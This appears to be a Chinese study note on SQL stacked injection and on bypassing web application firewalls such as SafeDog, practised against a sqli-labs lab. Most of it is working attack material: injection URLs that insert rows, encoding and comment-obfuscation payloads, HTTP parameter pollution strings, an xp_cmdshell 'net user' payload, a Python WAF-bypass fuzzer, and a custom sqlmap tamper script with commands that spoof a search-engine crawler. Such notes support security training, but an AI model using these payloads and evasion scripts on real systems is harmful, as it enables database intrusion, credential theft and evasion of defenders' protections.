SQL堆叠注入
一、堆叠查询注入
stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。
这个叫做stacked injection。
mysql> select * from users; select * from emails;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123456 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | admin |
+----+----------+------------+
14 rows in set (0.00 sec)
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8 rows in set (0.00 sec)
修改代码在前台上面显示
46 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
47 echo $sql;
48 /* execute multi query */^M
49 if (mysqli_multi_query($con1, $sql))
50 {
51
52
53 /* store first result set */^M
54 if ($result = mysqli_store_result($con1))
执行代码,访问网站
使用;
http://10.1.1.133/Less-38/index.php?id=1 ';insert into users(id,username,password) values ( 39, 'less38 ', 'hello ')--+
应用场景:
//注入需要管理员账号密码,密码是加密,无法解密
/可以使用堆叠注入进行插入数据,用户名密码自定义的,可以正常解密登录
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123456 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | admin |
| 38 | less38 | hello |
+----+----------+------------+
15 rows in set (0.00 sec)
备注:堆叠注入的可以运用于创建用户由于我们使用网站用户进行注入不能查看到数据库的密码但是我们可以创建用户来登录迂回的注入数据库,但是前提是网站的管理员必须是高权限才能完全创建用户。也可以使用update更新管理员用户密码。
相关资源:
堆叠注入
https://www.cnblogs.com/backlion/p/9721687.html
waf绕过-sql注入
WAF的常见特征
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
一、简要其他绕过方式学习
-
ip白名单&黑名单
白名单适用于稳定的We应用,黑名单适合处理已知问题。
基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活。
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。
测试方法:修改nttp的header来bypass waf
x-forwarded-for x-remote-IP x-originating-工P x-remote-addr x-Real-ip
-
:url白名单
为了防止误拦截,部分waf内置默认的白名单列表,如admin/
manager/system等文件管理后台,只要url中存在白名单的字符串,就作为白名单不进行检测该文件,常见的url构造姿势
http ://10.9.9.201/sql.php/admin.php?id=1 http ://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd http ://10.9.9.201/../../../manage/../sql.asp?id=2 //waf通过/manage/"进行比较,只要url中存在/manage/作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则
利用代码查询文件白名单
fuzz代码实现
import requests, time url = 'http://10.1.1.120/Less-2/?id=1' union = 'union' select = 'select' num = '1,2,3' a = {'%0a', '%23'} aa = {'x'} aaa = {'%0a', '%23'} b = '/*!' c = '/*' def bypass(): for xiaodi in a: for xiaodis in aa: for xiaodiss in aaa: for two in range(44500, 44600): urls = url + xiaodi + xiaodis + xiaodiss + b + str(two) + union + c + xiaodi + xiaodis + xiaodiss + select + xiaodi + xiaodis + xiaodiss + num try: result = requests.get(urls).text len_r = len(result) if (result.find('safedog') == -1): # print('bypass url address:'+ urls+'|'+ str(len_r)) print('bypass url address:' + urls + '|' + str(len_r)) if len_r == 715: fp = open('url,txt', 'a+') fp.write(urls + '\n') fp.close() except Exception as err: print('connecting error') time.sleep(0.1) if __name__ == '__main__': print('fuzz start') bypass()
运行结果
-
静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等 ),类似白名单机制,waf为了检测效率, 不去检测这样一些静态文件名后缀的请求
例如:
http://10.9.9.201/sql.php?id=1 加上 http://10.9.9.201/sql.php/1.js?id=1 备注:aspx/php只识别到前面的 .aspx/.php 后面基本不识别
-
爬虫白名单
安全狗爬虫白名单的实际功能在于:1、网站安全狗防护功能在正常情况下,不会对爬虫正常访问进行拦截,但是不排除在极端情况下存在的误拦截问题,这个时候用户可以在爬虫白名单手动添加爬虫关键字,进行放行;2、爬虫白名单默认是开启的,用户如果关闭的话,也不会对爬虫正常访问有什么影响,只是在出现爬虫误拦截时,会影响被拦截爬虫的正常爬取;
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
(1)根据useragent
(2)通过行为来判断
useragent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
userAgent switcher(firefox 附加组件),下载地址:
https://www.kjj8.com/download/user_agent_switcher_0-2-9-crx
二、 绕过WAF的方法
从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧
1) 大小写混合
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理
2)替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望
3)使用编码
1.URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六进制编码
举例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点
3.Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=10%D6‘%20AND%201=2%23
SELECT ‘Ä’=‘A’; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子
4)使用注释
看一下常见的用于注释的符号有哪些:*//, – , //, #, --+,-- -, ;,–a
1.普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn**//yoyu/all/**/%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用
- 只限mysql:44509
union /*44509 select*/ 1,2,3
//这里的44509表示数据库是4.45.09及以上版本才被执行
借助44509就断开union与select的连接,还让注释里select可以使用
5)等价函数与命令
些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@[@user ]() ==> user()
@[@datadir ]() ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
2.符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函数
MySQL/PostgreSQL支持XML函数:
Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制
6)特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
1.使用反引号,例如select
version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如**@**var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster…x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():’ or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
7)HTTP参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制
1.HPP(HTTP Parameter Polution)
举例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过
2.HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select *from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
3.HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ’ ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
以魔术字符%为例,Asp/Asp.net会受到影响
8)缓冲区溢出
9)整合绕过
三、基于安全狗WAF绕过
安全狗与phpstudy
https://blog.csdn.net/nzjdsds/article/details/93740686
下载地址:
https://www.safedog.cn/website_safedog.html
安装apache版安全狗绑定
服务版本不生效:
- cd到
phpstudy_pro\Extensions\Apache2.4.39\bin
目录
cmd命令:.\httpd.exe -k -n apache2.4
试一试sqli-labs中是否安全狗部署成功
前提:
绕过的东西不一样 方法思路不一样
安全狗基于不同的请求有不同的过滤规则。还有基于工具规则的限制使用。
第一种:更改提交方式
安全狗只开放get防护没有开放post防护
一)、使用post注入
步骤1:
我们修改的方式是post而服务器接收的是get方法将数据包丢弃
post中使用 id=1’ and 1=1测试
出现情况:
测试后发现上面显示的Please input the ID as parameter with numeric value
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ami66iab-1680057072662)(15-SQL%E5%A0%86%E5%8F%A0%E6%B3%A8%E5%85%A5.assets/1627297887531-dc02218e-af02-49b0-b832-324932b04a96.png)]
查看源代码可以看到为get接收方式,post无法接受
为了更好学习
将服务器的提交方式修改为**request**
if(isset($_REQUEST['id']))
{
$id=$_REQUEST['id'];
步骤2:
获取数据库版本信息发现被安全狗给拦截
原因就是因为安全狗对database()进行了过滤
绕过思路,这是mysql数据库所特有的
想办法将database 和()分开,让安全狗无法一起判断
mysql> select database/**/();
+-------------+
| database () |
+-------------+
| security |
+-------------+
1 row in set (0.00 sec)
mysql>
语句:
id=-1 union select 1, database/**/(),3#
2) 将服务器的提交方式修改为GET
root@37f786327043:/var/www/html/Less-2# head -n 24 index.php |tail -3
if(isset($_GET['id']))
{
$id=$_GET['id'];
root@37f786327043:/var/www/html/Less-2#
注入绕过原理
mysql> select * from users where id=-1/*%0a*/union/*%0a*/select/*%0a*/1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>
解释:
%0 表示换行
a是普通字符
a是为了让安全狗误判用的
http参数污染:
借助&号判断
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
Web环境 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | last |
JSP/Tomcat | Request.getParameter(“par”) | first |
Perl(CGI)/Apache | Param(“par”) | first |
Python/Apache | getvalue(“par”) | [“first”,“last”] |
ASP.NET/IIS | Request.QueryString(“par”) | first,last |
可以看看php/apache获取到的是最后一个参数
以php/apache为例子,安全狗绕过语句:
当前执行语句:
select * from users where id=1 &/*id =-1 union select 1,2,3#*/
安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/
或
1/**&id=-1 union select 1,2,3 ,其中符号中起到注释作用,正常情况下没有执行,安全狗直接忽略,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/
能正常执行sql语句
四、阿里云盾防sql注入简要概述
SQLmap tamper
参考资料;https://www.cnblogs.com/mark0/p/12349551.html
sqlmap中存放绕过waf的一些脚本小插件
:
在tamper文件夹中创建rdog.py,在tamper中找个文件打开,复制脚本修改
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')
retVal = retVal.replace('USER()', 'usEr/*!(*/)')
retVal = retVal.replace(' ', '/**/')
retVal = retVal.replace(" ", '%23a%0a')
retVal = retVal.replace('OR', '/*!14400Or*/')
retVal = retVal.replace('AND', '/*!14400aNd*/')
return retVal
测试注入效果:
python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://10.1.1.2:8888
//--proxy是代理,和bg抓包IP一致
可以看到的是代码并没有按照我们预期执行,我们添加代理看看到底是个什么情况
可以看到user-agent是sqlmap/1.5.6.4#dev (http://sqlmap.org)
,安全软件当中是禁止使用这种脚本客户端所以就被拦截,自然插件脚本也就没办法正常执行
解决思路:
通过抓包对比分析
可以看到user-agent被判断为sqlmap就会拦截
修改值为1,可以正常访问了
sqlmap使用自带字典随机生成user-agent
sqlmap -u ip --temper=rdog.py --proxy=http://127.0.0.1:8888 --random-agent
// --random-agent 表示随机生成
最终找到漏洞,可以获取表名列名等操作了
如不是user-agent 是其他进行判断的
我们可以:sqlmap去注入本地的脚本地址本地搭建一个脚本(请求远程地址数据包可以自定义编写)--》远程地址
备注:在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单,对此我们使用的策略是延时,代理,爬虫白名单
延时:
借助sqlmap延时参数 --delay 时间(默认为秒)
python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://10.1.1.2:8888 --delay 1
代理池:
使用随机ip访问
需要使用python,后期补充
爬虫白名单
自定义user-agent
攻击者伪装成搜索引擎,对目标站点进行攻击
python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
//让waf认为是正常爬取